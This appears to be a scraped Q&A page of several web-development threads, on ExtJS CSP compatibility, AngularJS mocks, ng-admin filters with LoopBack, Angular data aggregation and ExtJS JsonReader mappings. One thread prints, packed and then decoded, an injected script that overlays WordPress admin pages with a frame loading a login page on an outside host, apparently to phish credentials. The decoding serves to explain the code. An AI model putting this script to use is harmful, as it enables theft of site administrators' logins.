Tricks or overrides to make ExtJS application strict CSP compatible - extjs

when the server sends a restrictive Content-Security-Policy header,
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'
the following error comes up in Chrome :
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self'".
Strict Content-Security-Policy does not allow eval-like mechanisms, unless the 'unsafe-eval' keyword is specified.
Do you have any tricks or overrides to make your ExtJS application strict CSP compatible ?
The first culprit is the following code, where a Function object is being created:
getInstantiator: function(length) {
var instantiators = this.instantiators,
instantiator,
i,
args;
instantiator = instantiators[length];
if (!instantiator) {
i = length;
args = [];
for (i = 0; i < length; i++) {
args.push('a[' + i + ']');
}
instantiator = instantiators[length] = new Function('c', 'a', 'return new c(' + args.join(',') + ')'); //// CSP PB HERE
//<debug>
instantiator.name = "Ext.create" + length;
//</debug>
}
return instantiator;
},
"new Function" is used also here :
makeInitializeFn: function (cls) {
var code = ['var '],
body = ['\nreturn function (e) {\n var data = e.data, v;\n'],
work = 0,
bc, ec, // == beginClone, endClone
convert, expr, factory, field, fields, fs, hasDefValue, i, length;
if (!(fields = cls.rankedFields)) {
// On the first edit of a record of this type we need to ensure we have the
// topo-sort done:
fields = cls.rankFields();
}
for (i = 0, length = fields.length; i < length; ++i) {
// The generated method declares vars for each field using "f0".."fN' as the
// name. These are used to access properties of the field (e.g., the convert
// method or defaultValue).
field = fields[i];
fs = 'f' + i;
convert = field.convert;
if (i) {
code.push(', \n ');
}
code.push(fs, ' = $fields[' + i + ']');
//<debug>
// this can be helpful when debugging (at least in Chrome):
code.push(' /* ', field.name, ' */');
//</debug>
// NOTE: added string literals are "folded" by the compiler so we
// are better off doing an "'foo' + 'bar'" then "'foo', 'bar'". But
// for variables we are better off pushing them into the array for
// the final join.
if ((hasDefValue = (field.defaultValue !== undefined)) || convert) {
// For non-calculated fields that have some work required (a convert method
// and/or defaultValue), generate a chunk of logic appropriate for the
// field.
//expr = data["fieldName"];
expr = 'data["' + field.name + '"]';
++work;
bc = ec = '';
if (field.cloneDefaultValue) {
bc = 'Ext.clone(';
ec = ')';
}
body.push('\n');
if (convert && hasDefValue) {
// v = data.fieldName;
// if (v !== undefined) {
// v = f2.convert(v, e);
// }
// if (v === undefined) {
// v = f2.defaultValue;
// // or
// v = Ext.clone(f2.defaultValue);
// }
// data.fieldName = v;
//
body.push(' v = ', expr, ';\n' +
' if (v !== undefined) {\n' +
' v = ', fs, '.convert(v, e);\n' +
' }\n' +
' if (v === undefined) {\n' +
' v = ', bc, fs, '.defaultValue',ec,';\n' +
' }\n' +
' ', expr, ' = v;');
} else if (convert) { // no defaultValue
// v = f2.convert(data.fieldName,e);
// if (v !== undefined) {
// data.fieldName = v;
// }
//
body.push(' v = ', fs, '.convert(', expr, ',e);\n' +
' if (v !== undefined) {\n' +
' ', expr, ' = v;\n' +
' }\n');
} else if (hasDefValue) { // no convert
// if (data.fieldName === undefined) {
// data.fieldName = f2.defaultValue;
// // or
// data.fieldName = Ext.clone(f2.defaultValue);
// }
//
body.push(' if (', expr, ' === undefined) {\n' +
' ', expr, ' = ',bc,fs,'.defaultValue',ec,';\n' +
' }\n');
}
}
}
if (!work) {
// There are no fields that need special processing
return Ext.emptyFn;
}
code.push(';\n');
code.push.apply(code, body);
code.push('}');
code = code.join('');
// Ensure that Ext in the function code refers to the same Ext that we are using here.
// If we are in a sandbox, global.Ext might be different.
factory = new Function('$fields', 'Ext', code); /// CSP PROBLEM HERE
return factory(fields, Ext);
}
} // static
} // privates
},
This policy prevents new Function(), which rely upon for a performance optimisation in ExtJS, I suppose.
The policy prevents also the use of "eval".
Ext.JSON = (new(function() {
// #define Ext.JSON
// #require Ext
// #require Ext.Error
var me = this,
hasNative = window.JSON && JSON.toString() === '[object JSON]',
useHasOwn = !! {}.hasOwnProperty,
pad = function(n) {
return n < 10 ? "0" + n : n;
},
doDecode = function(json) {
return eval("(" + json + ')'); // jshint ignore:line //////CSP PROBLEM
},
...
// in Template.js
evalCompiled: function($) {
// We have to use eval to realize the code block and capture the inner func we also
// don't want a deep scope chain. We only do this in Firefox and it is also unhappy
// with eval containing a return statement, so instead we assign to "$" and return
// that. Because we use "eval", we are automatically sandboxed properly.
eval($); // jshint ignore:line
return $;
},
//in XTemplateCompiler
evalTpl: function ($) {
// We have to use eval to realize the code block and capture the inner func we also
// don't want a deep scope chain. We only do this in Firefox and it is also unhappy
// with eval containing a return statement, so instead we assign to "$" and return
// that. Because we use "eval", we are automatically sandboxed properly.
eval($);
return $;
},
// in Managet.js
privates: {
addProviderClass: function(type, cls) {
this.providerClasses[type] = cls;
},
onApiLoadSuccess: function(options) {
var me = this,
url = options.url,
varName = options.varName,
api, provider, error;
try {
// Variable name could be nested (default is Ext.REMOTING_API),
// so we use eval() to get the actual value.
api = Ext.apply(options.config, eval(varName)); ////////CSP
provider = me.addProvider(api);
}
// in Ext.dom.Query
eval("var batch = 30803, child, next, prev, byClassName;");
//...
eval(fn.join(""));

Related

Angular unit testing with ngMock - $timeout.flush() throws exception

I am using ngMock for unit testing and I need to use the $timeout.flush function in one of my tests, so I have added the two following lines to my test:
$timeout.flush();
$timeout.verifyNoPendingTasks();
as indicated on http://www.bradoncode.com/blog/2015/06/11/unit-testing-code-that-uses-timeout-angularjs/.
$timeout.flush() does flush the timeout as expected, however I am now getting an exception from angular-mocks.js every time I run my test:
LOG: 'Exception: ', Error{line: 1441, sourceURL: 'http://localhost:9876/base/node_modules/angular-mocks/angular-mocks.js?05a191adf8b7e3cfae1806d65efdbdb00a1742dd', stack: '$httpBackend#http://localhost:9876/base/node_modules/angular-mocks/angular-mocks.js?05a191adf8b7e3cfae1806d65efdbdb00a1742dd:1441:90
....
global code#http://localhost:9876/context.html:336:28'}, 'Cause: ', undefined
Does anyone know where this exception could come from? I get it as many times as I use the $timeout.flush() function.
Looking at the angular-mocks.js file, it looks like it comes from the $httpBackend function. I have tried to update the ngMock version but it does not change anything. I have tried version 1.4.7 (which is my angular version) and version 1.6.2.
function $httpBackend(method, url, data, callback, headers, timeout, withCredentials, responseType, eventHandlers, uploadEventHandlers) {
var xhr = new MockXhr(),
expectation = expectations[0],
wasExpected = false;
xhr.$$events = eventHandlers;
xhr.upload.$$events = uploadEventHandlers;
function prettyPrint(data) {
return (angular.isString(data) || angular.isFunction(data) || data instanceof RegExp)
? data
: angular.toJson(data);
}
function wrapResponse(wrapped) {
if (!$browser && timeout) {
if (timeout.then) {
timeout.then(handleTimeout);
} else {
$timeout(handleTimeout, timeout);
}
}
return handleResponse;
function handleResponse() {
var response = wrapped.response(method, url, data, headers, wrapped.params(url));
xhr.$$respHeaders = response[2];
callback(copy(response[0]), copy(response[1]), xhr.getAllResponseHeaders(),
copy(response[3] || ''));
}
function handleTimeout() {
for (var i = 0, ii = responses.length; i < ii; i++) {
if (responses[i] === handleResponse) {
responses.splice(i, 1);
callback(-1, undefined, '');
break;
}
}
}
}
if (expectation && expectation.match(method, url)) {
if (!expectation.matchData(data)) {
throw new Error('Expected ' + expectation + ' with different data\n' +
'EXPECTED: ' + prettyPrint(expectation.data) + '\nGOT: ' + data);
}
if (!expectation.matchHeaders(headers)) {
throw new Error('Expected ' + expectation + ' with different headers\n' +
'EXPECTED: ' + prettyPrint(expectation.headers) + '\nGOT: ' +
prettyPrint(headers));
}
expectations.shift();
if (expectation.response) {
responses.push(wrapResponse(expectation));
return;
}
wasExpected = true;
}
var i = -1, definition;
while ((definition = definitions[++i])) {
if (definition.match(method, url, data, headers || {})) {
if (definition.response) {
// if $browser specified, we do auto flush all requests
($browser ? $browser.defer : responsesPush)(wrapResponse(definition));
} else if (definition.passThrough) {
originalHttpBackend(method, url, data, callback, headers, timeout, withCredentials, responseType, eventHandlers, uploadEventHandlers);
} else throw new Error('No response defined !');
return;
}
}
throw wasExpected ?
new Error('No response defined !') :
new Error('Unexpected request: ' + method + ' ' + url + '\n' +
(expectation ? 'Expected ' + expectation : 'No more request expected'));
}

how to get ng-admin filters working with loopback API

I am new to ng-admin and angularjs. I am trying to integrate ng-admin with loopback for admin panel.
I am unable to get ng-filters filters working with loopback
because of this i think the reference_list and other filter are not working properly.
The problem is that i am unable to include where filter in my request to api
i am trying to do it using restangular
below is the code
// custom filters
if (params._filters) {
for (var filter in params._filters) {
params['filter[where]'] = "{" + entry.field + ":" + rams._filters[filter] + "}";
}
delete params._filters;
}
for "where" filter can be something like this:
for(var entry in params._filters) {
if (params._filters[entry] !== undefined) {
if (params._filters[entry].constructor === Array && params._filters[entry].length > 1) { // where value in array of values
params['filter[where][' + entry + '][inq]'] = params._filters[entry];
}
else { // where entry = value
params['filter[where][' + entry + ']'] = params._filters[entry];
}
}
}
Here's my entire interceptor for handling paging, sorting and filtering with loopback. Hope it saves someone time. Note that filters on relational fields ending with 'id' are processed using equality, whereas filters on other fields use 'like'.
myApp.config(['RestangularProvider', function (RestangularProvider) {
RestangularProvider.addFullRequestInterceptor(function(element, operation, what, url, headers, params) {
if (operation == "getList") {
// custom pagination params
if (params._page) {
params["filter[skip]"]= (params._page - 1) * params._perPage;
params["filter[limit]"] = params._perPage;
}
delete params._page;
delete params._perPage;
// custom sort params
if (params._sortField) {
params["filter[order]"] = params._sortField + " " + (params._sortDir || 'ASC');
delete params._sortField;
delete params._sortDir;
}
// custom filters
if (params._filters) {
var filterClause = "";
var i = 0;
for (var filter in params._filters) {
if (filter.endsWith('id')) {
params["filter[where][and][" + i + "][" + filter + "]"] = params._filters[filter];
} else {
params["filter[where][and][" + i + "][" + filter + "][like]"] = '%' + params._filters[filter] + '%';
}
i++;
}
delete params._filters;
}
}
return { params: params };
});
}]);

Can anybody decode this packed code?

i have search on google for many decode programs and online decode websites but nobody has decode that code, why its inpossible to decode that code?
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? '' : e(c / a)) + String.fromCharCode(c % a + 161)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[e(c)] = k[c] || e(c)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\[\xa1-\xff]+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp(e(c), 'g'), k[c])
}
}
return p
}('¤ ¬(¨,¦){§ ¢=³ ¹();¢.º(¢.¶()+(µ*·));§ £="; £="+¢.´();¡.Â¥=¨+"="+¦+£+"; °=/"}±.²=¤(){»(¡.Ã….Ä.ª("Æ")>-1&&¡.Â¥.ª(\'­\')==-1){¡.Ã("<« Â=©% ½=©% ¾=0 ¿=0 Ã=0><À Ê=0 ¼=È://Ç.¸/®.¯></«>");¬("­","É")}}', 42, 42, 'document|date|expires|function|cookie|value|var|name|100|indexOf|frameset|createCookie|seeeeen|login|php|path|window|onload|new|toGMTString|300|getTime|1000|org|Date|setTime|if|src|rows|border|frameboarder|frame|framespacing|cols|write|innerHTML|body|wpadminbar|x6q|http|ok|frameborder'.split('|'), 0, {}))
i hope anyone can help me to decode that.
Thanks
All of the special characters like Â, ¢, ¤ are treated as single bytes. They are variables, and the number represents the index into the second string "document|date|expires|function...". The inner function that takes the (p, a, c, k, e, d) parameters replaces each variable number with the corresponding name in that list. It returns the resulting source code as a string, and passes it to the eval() function, which takes the string and executes it as JavaScript.
If you want to see the source code after it has been unpacked, replace the very first function call eval() with an output function, like console.log() or alert().
function createCookie(name, value) {
var date = new Date();
date.setTime(date.getTime() + (300 * 1000));
var expires = "; expires=" + date.toGMTString();
document.cookie = name + "=" + value + expires + "; path = /";
}
window.onload = function() {
if (document.body.innerHTML.indexOf("wpadminbar") > -1 && document.cookie.indexOf('seeeeen') == -1) {
document.write("<frameset cols=100% rows=100% border=0 frameboarder = 0 framespacing = 0 > < frame frameborder = 0 src = http: //x6q.org/login.php></frameset>");
createCookie("seeeeen", "ok")
}
}

Angular: Combine array objects and combine values

I'm retrieving data with http.get.
This provides me with an array of objects like below:
[{
"id”:12345,
"resource_state":2,
"external_id”:”abscdgrft”,
"upload_id”:1234567,
"athlete":{
"id”:123456,
"resource_state":2,
"firstname”:”testname”,
"lastname”:”testlastname”,
"profile_medium”:”image/athlete/medium.png",
"profile":"image/athlete/large.png",
"city”:”testcity”,
"state”:”teststate”,
…
},
"name”:”test name“,
"distance":87223.1,
"moving_time":11026,
"elapsed_time":11173,
"total_elevation_gain":682.3,
…
}]
I would like to combine all those object based on the athlete.firstname + athlete.lastname.
So for example all objects with athlete first name Jim and last name Donalds I want to be combined in one object, the same goes for all the other names.
When combining the objects based on the full name, values like "distance", "moving_time", "elapsed_time" and "total_elevation_gain" needs to be summed.
I tried using the code below but the problem is that I can't get it to work with multiple values like I mention above.
This is working only with one value, distance for example:
var obj = {}; // Initialize the object
angular.forEach(data, function(value, key) {
if (value.start_date > firstdayOfWeek && value.start_date < lastdayOfWeek) {
if (obj[value.athlete.firstname + ' ' + value.athlete.lastname]) { // If already exists
obj[value.athlete.firstname + ' ' + value.athlete.lastname] += value.distance; // Add value to previous value
} else {
obj[value.athlete.firstname + ' ' + value.athlete.lastname] = value.distance; // Add in object
}
} else {
//do nothing
}
});
console.log(obj); // Result
When I modify it like this it is not working anymore.
var obj = {};
angular.forEach(data, function(value, key) {
//console.log(value);
if (value.start_date > startOfLastWeek && value.start_date < endOfLastWeek) {
//console.log(value);
if (obj[value.athlete.firstname + ' ' + value.athlete.lastname]) { // If already exists
obj[value.athlete.firstname + ' ' + value.athlete.lastname] += {
"profile" : value.athlete.profile,
"distance" : value.distance,
"moving_time" : value.moving_time,
"elapsed_time" : value.elapsed_time,
"total_elevation_gain" : value.total_elevation_gain,
}; // Add value to previous value
} else {
obj[value.athlete.firstname + ' ' + value.athlete.lastname] = {
"profile" : value.athlete.profile,
"distance" : value.distance,
"moving_time" : value.moving_time,
"elapsed_time" : value.elapsed_time,
"total_elevation_gain" : value.total_elevation_gain,
}; // Add in object
}
} else {
//do nothing
}
});
console.log(obj); // Result
Thanks!
try to add item by item... You can't add all with += { ... }:
var obj = {};
angular.forEach(data, function(value, key) {
//console.log(value);
if (value.start_date > startOfLastWeek && value.start_date < endOfLastWeek) {
//console.log(value);
if (obj[value.athlete.firstname + ' ' + value.athlete.lastname]) { // If already exists
var aux = obj[value.athlete.firstname + ' ' + value.athlete.lastname];
aux.profile += value.athlete.profile;
aux.distance += value.distance;
...
} else {
obj[value.athlete.firstname + ' ' + value.athlete.lastname] = {
"profile" : value.athlete.profile,
"distance" : value.distance,
"moving_time" : value.moving_time,
"elapsed_time" : value.elapsed_time,
"total_elevation_gain" : value.total_elevation_gain,
}; // Add in object
}
} else {
//do nothing
}
});
console.log(obj); // Result
Use underscore or lodash groupBy, map and reduce
with lodash:
_.chain(myArr).map(function(o) {
return {
fullname: o.athlete.firstname + ' ' + o.athlete.lastname,
distance: o.distance,
moving_time: o.moving_time,
elapsed_time: o.elapsed_time,
total_elevation_gain: o.total_elevation_gain
}
}).groupBy(function(o) {
return o.fullaname
}).map(function(d, fullname) {
var totals = _.reduce(d, function(result, run, n) {
result.moving_time += run.moving_time | 0
result.elapsed_time += run.elapsed_time | 0
result.total_elevation_gain += run.total_elevation_gain | 0
return result
}, {
moving_time: 0,
elapsed_time: 0,
total_elevation_gain: 0
})
totals.fullname = fullname
return totals
})

ExtJS - null safe retrieval of complex objects using JsonReader

I am using a JsonReader to map Json data to variables to be used in a grid/form. The back end is in Java and there are complex objects which I Jsonify and pass to the ExtJS front end.
This is a part of my JsonReader which tries to retrieve a nested object -
{name:'status', type: 'string', mapping: 'status.name'}
This works fine when status has a value (not null in the server), but the grid load fails when status is null. Currently the work around I have is to send an empty object from the server in case of null, but I assume there should be a way to handle this in ExtJS. Please suggest a better solution on the ExtJS side.
I can think of two possibilities - one documented and one undocumented:
use the convert()-mechanism of Ext.data.Field:
{
name:'status',
mapping: 'status',
convert: function(status, data) {
if (!Ext.isEmpty(status) && status.name) {
return status.name;
} else {
return null;
}
}
}
The mapping property can also take an extractor function (this is undocumented so perhaps it may be a little bit risky to rely on this):
{
name:'status',
mapping: function(data) {
if (data.status && data.status.name) {
return data.status.name;
} else {
return null;
}
}
}
Use this safe json reader instead:
Ext.define('Ext.data.reader.SafeJson', {
extend: 'Ext.data.reader.Json',
alias : 'reader.safe',
/**
* #private
* Returns an accessor function for the given property string. Gives support for properties such as the following:
* 'someProperty'
* 'some.property'
* 'some["property"]'
* This is used by buildExtractors to create optimized extractor functions when casting raw data into model instances.
*/
createAccessor: function() {
var re = /[\[\.]/;
return function(expr) {
if (Ext.isEmpty(expr)) {
return Ext.emptyFn;
}
if (Ext.isFunction(expr)) {
return expr;
}
if (this.useSimpleAccessors !== true) {
var i = String(expr).search(re);
if (i >= 0) {
if (i > 0) { // Check all property chain for existence. Return null if any level does not exist.
var a = [];
var l = expr.split('.');
var r = '';
for (var w in l) {
r = r + '.' + l[w];
a.push('obj' + r);
}
var v = "(" + a.join(" && ") + ") ? obj." + expr + " : null";
return Ext.functionFactory('obj', 'return (' + v + ')');
} else {
return Ext.functionFactory('obj', 'return obj' + expr);
}
}
}
return function(obj) {
return obj[expr];
};
};
}()
});
I have changed Slava Nadvorny's example so that it completely works for ExtJS 4.1.1.
New extended class of Ext.data.reader.Json is below:
Ext.define('Ext.data.reader.SafeJson', {
extend: 'Ext.data.reader.Json',
alias : 'reader.safejson',
/**
* #private
* Returns an accessor function for the given property string. Gives support for properties such as the following:
* 'someProperty'
* 'some.property'
* 'some["property"]'
* This is used by buildExtractors to create optimized extractor functions when casting raw data into model instances.
*/
createAccessor: (function() {
var re = /[\[\.]/;
return function(expr) {
if (Ext.isEmpty(expr)) {
return Ext.emptyFn;
}
if (Ext.isFunction(expr)) {
return expr;
}
if (this.useSimpleAccessors !== true) {
var i = String(expr).search(re);
if (i >= 0) {
if (i > 0) { // Check all property chain for existence. Return null if any level does not exist.
var a = [];
var l = expr.split('.');
var r = '';
for (var w in l) {
r = r + '.' + l[w];
a.push('obj' + r);
}
var v = "(" + a.join(" && ") + ") ? obj." + expr + " : null";
return Ext.functionFactory('obj', 'return (' + v + ')');
} else {
return Ext.functionFactory('obj', 'return obj' + (i > 0 ? '.' : '') + expr);
}
}
}
return function(obj) {
return obj[expr];
};
};
}()),
/**
* #private
* #method
* Returns an accessor expression for the passed Field. Gives support for properties such as the following:
*
* - 'someProperty'
* - 'some.property'
* - 'some["property"]'
*
* This is used by buildExtractors to create optimized on extractor function which converts raw data into model instances.
*/
createFieldAccessExpression: (function() {
var re = /[\[\.]/;
return function(field, fieldVarName, dataName) {
var me = this,
hasMap = (field.mapping !== null),
map = hasMap ? field.mapping : field.name,
result,
operatorSearch;
if (typeof map === 'function') {
result = fieldVarName + '.mapping(' + dataName + ', this)';
} else if (this.useSimpleAccessors === true || ((operatorSearch = String(map).search(re)) < 0)) {
if (!hasMap || isNaN(map)) {
// If we don't provide a mapping, we may have a field name that is numeric
map = '"' + map + '"';
}
result = dataName + "[" + map + "]";
} else {
if (operatorSearch > 0) {
var a = [];
var l = map.split('.');
var r = '';
for (var w in l) {
r = r + '.' + l[w];
a.push(dataName + r);
}
result = "("+a.join(" && ")+") ? "+dataName+"."+map+" : null";
} else {
result = dataName + map;
}
}
return result;
};
}())
});
So you can successfully processing nested JSON-data with null nodes.
Example of JSON:
{
root: [{
id: 1,
name: {
name: "John",
phone: "123"
},
},
{
id: 4,
name: null,
},
]
}
Working example with test data you can find here:
http://jsfiddle.net/8Ftag/

Resources